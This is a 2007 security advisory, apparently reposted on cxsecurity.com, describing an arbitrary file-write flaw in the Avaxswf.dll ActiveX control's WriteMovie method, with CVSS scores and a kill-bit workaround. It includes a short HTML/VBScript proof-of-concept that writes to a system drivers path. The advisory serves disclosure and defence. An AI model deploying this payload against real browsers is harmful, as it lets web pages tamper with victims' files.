Avaxswf.dll v.1.0.0.1 from Avax Vectorsoftware ActiveX Arbitrary Data Write

2007.06.30
Credit: callAX
Risk: Medium
Local: Yes
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 6.4/10
Impact Subscore: 4.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: Partial

:. GOODFELLAS Security Research TEAM .: :. http://goodfellas.shellcode.com.ar .: Avaxswf.dll v.1.0.0.1 from Avax Vector software ActiveX Arbitrary Data Write ======================================================================== ==== Internal ID: VULWAR200706264 Introduction ------------ Avaxswf.dll is a library included in the Avax Vector ActiveX v.1.3 software package from the Company Civitech. ( http://business.hol.gr/gardos/index.htm ) Such package include ActiveX control (OCX) that includes over 500 properties, methods, and events to provide full control over vector drawings. One of the Avaxswf.dll exported methods is vulnerable to Data write arbitrary in a remote computer. Tested In --------- - Windows XP SP2 english/french with IE 6.0 / 7.0. - windows vista Professional SP1 with IE 7.0. Summary ------- The WriteMovie method doesn't check if it is being called from the application or from a malicious user. Impact ------ The vulnerability is due to an error in WriteMovie method that manipulate local files insecurely, which could allow malicious users to write arbitrary data to any file on a vulnerable system. Workaround ---------- - Activate the Kill bit zero in clsid:0DD77391-686B-11D4-B367-D4475FDFF33A. - Unregister Avaxswf.dll using regsvr32. Timeline -------- June 26, 2007 -- Bug discovery. June 26, 2007 -- Bug published. Credits ------- * callAX <callax (at) shellcode.com (dot) ar [email concealed]> * GoodFellas Security Research Team <goodfellas.shellcode.com.ar> Technical Detail ---------------- WriteMovie method receives one argument filename in this format "c:\path\file". POC --- <object classid='clsid:0DD77391-686B-11D4-B367-D4475FDFF33A' id='wRit3'></object> <input language=VBScript onclick=Boom() type=button value="Write"> <script language = 'vbscript'> sub Boom() f1l3 = "C:\WINDOWS\system32\drivers\hackme.sys" wRit3.WriteMovie f1l3 End Sub </script> -- GOODFELLAS (Shellcode Security Research) http://goodfellas.shellcode.com.ar -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQBGgXEme/hId1O1+uERAlboAJ438y0QRLAZKrIYuqtS7SAoBcBcuQCgjZTY eyclzYA3uhsQLFtAd/We45I= =k3Ui -----END PGP SIGNATURE-----


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top